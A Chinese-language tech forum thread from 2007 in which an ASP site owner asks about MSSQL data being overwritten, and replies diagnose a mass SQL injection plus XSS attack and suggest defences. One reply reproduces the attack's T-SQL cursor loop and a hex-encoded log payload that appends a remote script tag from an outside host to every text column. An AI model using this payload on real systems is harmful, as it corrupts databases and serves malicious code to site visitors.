[中毒了]MSSQL資料被覆寫了

遇到一個問題了

我自己開發ASP程式,將開發好的程式與資料庫(MS SQL)放在虛擬主機廠商那邊

剛剛發現我的TABLE 欄位裡面的資料都被加入了這段文字(有的被截斷部份後加上)




請問有人遇過這種情形嗎?該怎麼處理阿

-- 程式已經運作3年了,都沒有問題 --
2007-12-25 22:48 發佈
文章關鍵字 sq mssql 資料
解決了嗎?像是SQL Injection的東西,他run了這個
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,
b.name
from sysobjects a,
syscolumns b
where a.id = b.id
and a.xtype = 'u'
and ( b.xtype = 99
or b.xtype = 35
or b.xtype = 231
or b.xtype = 167
)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE( @@FETCH_STATUS = 0 )
BEGIN
exec
( 'update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
+ @C + ']))+''''' )
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* IISLog can find
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F00750063006D0061006C002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S)

*/

解決: asp/aspx擋掉參數, 不要用dynamic sql , 或db user權限設小一點,只grant execute stored procedure 權限 或是sysobjects 的權限revoke (但2000好像不能).......
http://www.cert.org.tw/document/column/show.php?key=96
非常感謝 agichen 的解答

如果我在前端文字方塊去限制文字數量,是不是也有幫助!(無法跑這麼長的句子)
您好, 我的網站很不幸.. 也中了..
請問駭客是用什麼方式"修改"?

您指的"解決方法".. 可否能指點的明白些,
感謝您~~

另外不知您是否知道, 留言版設定了"驗證碼", 為何還有人可用程式
亂送一堆訊息, 而跳過驗證碼的輸入?

Giza
好像是被塞入了惡意 javascipr 命令,一般表單接收到資料,其實會特地把 <> ' " () 處理一下,以免被插入 HTML 甚至 SQL 執行敘述。

樓主應該是被插入 UPDATE 命令,並且被猜到 Table 欄位名稱,直接 UPDATE 你table下某欄位的所有資料,加上了 javascript語句。

建議你,表單輸入的資料,所有的 <> 括號都轉成 HTML code,例如 < %gt; 之類的,這樣就算插入這些文字也無法在顯示出內容的時候去執行這些惡意程式碼。
另外,引號如 ' " 括號如 () 也最好處理成 \' 或 \" 等等,這是防止 SQL injection 的基本.

這應該是資料隱碼加上XSS攻擊,算是最近十大網路攻擊之一,小弟公司的網頁主機也中獎,花了一點時間做資料復原,雖然網頁部分不是我管理的,但是前端的防火牆部分是小弟負責,只能在防火牆上先進行阻擋javascript指令的動作,避免瀏覽者中毒,再請廠商盡快將缺失補上。

樓主可以去Google一下,網路上很多相關的測試工具和步驟。

P.S:不過一般的防火牆對於這種利用正常連線方式入侵沒有作用,需要使用網頁防火牆才有用!
聽的懂人話的主管才是好主管!!
內文搜尋
X
評分
評分
複製連結
Mobile01提醒您
您目前瀏覽的是行動版網頁
是否切換到電腦版網頁呢?